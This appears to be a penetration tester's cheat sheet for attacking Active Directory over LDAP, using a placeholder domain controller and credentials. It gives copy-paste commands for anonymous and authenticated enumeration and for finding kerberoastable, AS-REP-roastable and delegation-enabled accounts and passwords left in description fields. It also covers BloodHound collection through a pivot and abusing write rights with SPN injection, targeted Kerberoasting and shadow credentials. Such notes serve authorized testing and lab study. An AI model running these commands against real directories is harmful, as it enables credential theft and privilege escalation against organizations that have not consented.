LDAP
Sections LDAP
LDAP enum against Active Directory and standalone directories. AD-specific attacks (kerberoast, ASREP, ACL abuse) live in 00 AD MOC .
DC=10.10.11.50
DOMAIN=corp.local
BASE='DC=corp,DC=local'
USER='svc_user'
PASS='Password1'
i. Anonymous bind
Lot of misconfigured DCs allow anonymous read. Always try first.
ldapsearch -x -H ldap://$DC -s base namingcontexts
ldapsearch -x -H ldap://$DC -b "$BASE"
What to grep for in anonymous output:
ldapsearch -x -H ldap://$DC -b "$BASE" | grep -iE 'description|userpassword|info|comment'
ii. Authenticated bind
ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE"
Over LDAPS (encrypted, needed for password changes and some attacks):
ldapsearch -x -H ldaps://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE"
GSSAPI / Kerberos auth (no password on the command line):
kinit "$USER@${DOMAIN^^}"
ldapsearch -Y GSSAPI -H ldap://$DC -b "$BASE"
iii. Useful filters, copy-paste
Replace the filter after -b "$BASE" to target specific objects.
All users:
ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(objectCategory=person))' samaccountname description
All computers:
ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(objectClass=computer)' dnshostname operatingsystem
Domain admins:
ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local))' samaccountname
Kerberoastable accounts (users with SPN):
ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(servicePrincipalName=*))' samaccountname serviceprincipalname
AS-REP roastable (PreAuth not required):
ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' samaccountname
Passwords in description field (classic mistake):
ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(description=*)' samaccountname description | grep -iE 'samaccount|descr'
Constrained / Unconstrained delegation:
## Unconstrained
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=524288)' samaccountname
## Constrained (any account with msDS-AllowedToDelegateTo)
ldapsearch ... '(msDS-AllowedToDelegateTo=*)' samaccountname msDS-AllowedToDelegateTo
GPO objects, often have passwords in old groups.xml:
ldapsearch ... '(objectClass=groupPolicyContainer)' displayname gpcfilesyspath
iv. UserAccountControl decoder
Common UAC bit flags you see in queries:
| Decimal | Hex | Meaning |
|---|---|---|
| 512 | 0x200 | Normal account |
| 514 | 0x202 | Disabled account |
| 528 | 0x210 | Locked |
| 2048 | 0x800 | InterDomain trust |
| 4096 | 0x1000 | Workstation trust |
| 8192 | 0x2000 | DC account |
| 66048 | 0x10200 | Password never expires |
| 4194304 | 0x400000 | No PreAuth required (ASREP-roastable) |
| 524288 | 0x80000 | Trusted for unconstrained delegation |
| 16777216 | 0x1000000 | Trusted to auth for delegation |
Filter syntax for bit-test: (userAccountControl:1.2.840.113556.1.4.803:=FLAG).
v. Bulk enum tools
nxc LDAP, fastest for one-shot enum:
nxc ldap $DC -u "$USER" -p "$PASS" --users
nxc ldap $DC -u "$USER" -p "$PASS" --groups
nxc ldap $DC -u "$USER" -p "$PASS" --asreproast asrep.out
nxc ldap $DC -u "$USER" -p "$PASS" --kerberoasting krb.out
nxc ldap $DC -u "$USER" -p "$PASS" --trusted-for-delegation
nxc ldap $DC -u "$USER" -p "$PASS" --password-not-required
nxc ldap $DC -u "$USER" -p "$PASS" --admin-count
nxc ldap $DC -u "$USER" -p "$PASS" --get-desc-users
windapsearch, more verbose dumps:
windapsearch --dc-ip $DC -d "$DOMAIN" -u "$USER" -p "$PASS" --da
windapsearch --dc-ip $DC -d "$DOMAIN" -u "$USER" -p "$PASS" --privileged-users
windapsearch --dc-ip $DC -d "$DOMAIN" -u "$USER" -p "$PASS" --computers
ldapdomaindump, HTML report with everything:
ldapdomaindump $DC -u "$DOMAIN\\$USER" -p "$PASS"
## Outputs: domain_users.html, domain_computers.html, domain_groups.html
vi. BloodHound ingest
Primary collector, rusthound-ce, fast and accurate for most edges:
rusthound-ce -d "$DOMAIN" -u "$USER" -p "$PASS" -i $DC --zip
## Output: 20XX-XX-XX-corp.local-rusthound.zip
Over a SOCKS pivot:
proxychains -q rusthound-ce -d "$DOMAIN" -u "$USER" -p "$PASS" -i $DC --zip
rusthound-ce sometimes misses certain outbound ACL edges (WriteOwner, GenericAll on objects outside the user’s OU, etc). When BloodHound looks too clean, run bloodyAD too.
Fallback / supplement, bloodyAD, exports a BloodHound-compatible zip:
bloodyAD --host $DC -d "$DOMAIN" -u "$USER" -p "$PASS" get bloodhound --output bh-bloody.zip
Through pivot:
proxychains -q bloodyAD --host $DC -d "$DOMAIN" -u "$USER" -p "$PASS" get bloodhound --output bh-bloody.zip
When in doubt, run both tools and drop both zips into BloodHound. The graph merges and you get the union of edges. Catches the ACLs rusthound-ce silently skipped.
vii. Modify objects (write-level access)
If BloodHound shows you have write rights to an object, abuse with:
ldapmodify, raw:
ldapmodify -x -H ldaps://$DC -D "$USER@$DOMAIN" -w "$PASS" <<EOF
dn: CN=target,CN=Users,$BASE
changetype: modify
replace: servicePrincipalName
servicePrincipalName: cifs/anything
EOF
Targeted Kerberoast (set SPN, roast, remove SPN):
targetedKerberoast.py -d "$DOMAIN" -u "$USER" -p "$PASS" --dc-ip $DC
Shadow Credentials (msDS-KeyCredentialLink, if you have write rights):
certipy shadow auto -u "$USER@$DOMAIN" -p "$PASS" -account targetuser
viii. LDAP signing and channel binding
nxc ldap $DC -u "$USER" -p "$PASS" -M ldap-checker
## or check manually:
ldapsearch -x -H ldap://$DC -b "" -s base
## If anonymous bind works on 389 -> LDAP signing NOT required
## If LDAPS rejects PLAIN -> channel binding enforced
Why it matters: NTLM relay to LDAP/LDAPS works only when signing is off and channel binding is not enforced. See AD06 LLMNR & NTLM Relay .